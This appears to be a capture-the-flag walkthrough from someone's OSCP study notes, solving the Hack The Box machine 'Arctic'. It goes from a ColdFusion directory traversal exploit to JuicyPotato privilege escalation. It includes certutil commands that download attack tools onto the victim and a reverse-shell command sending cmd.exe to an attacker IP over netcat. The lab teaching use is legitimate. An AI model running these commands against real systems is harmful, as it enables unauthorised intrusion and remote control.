> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/arctic.md). # Arctic ### Nmap Full port scan (TCP)

### Nmap Aggressive scan

### Enumerating Port 8500 Searching port 8500 online () —> could be Macromedia ColdFusion MX Server using that port.

Heading to `http://10.10.10.11:8500` on the web browser

Searching online `CFIDE` exploit —> **Adobe ColdFusion - Directory Traversal** Edit the IP addr and ports

Got user shell

### Privilege Escalation

* `SeImpersonatePrivilege` is enables —> vulnerable to Juicy Potato PrivEsc. * Transfer `nc64.exe` and `juicypotato.exe` to victim ```bash certutil -urlcache -f juicypotato.exe certutil -urlcache -f nc64.exe ``` * Open netcat listener on attacker using `nc -lvp 443` * Run JuicyPotato attack ```bash juicypotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\users\\tolis\\Desktop\\nc64.exe -e cmd.exe 10.10.14.6 443" -t * ``` * Got root shell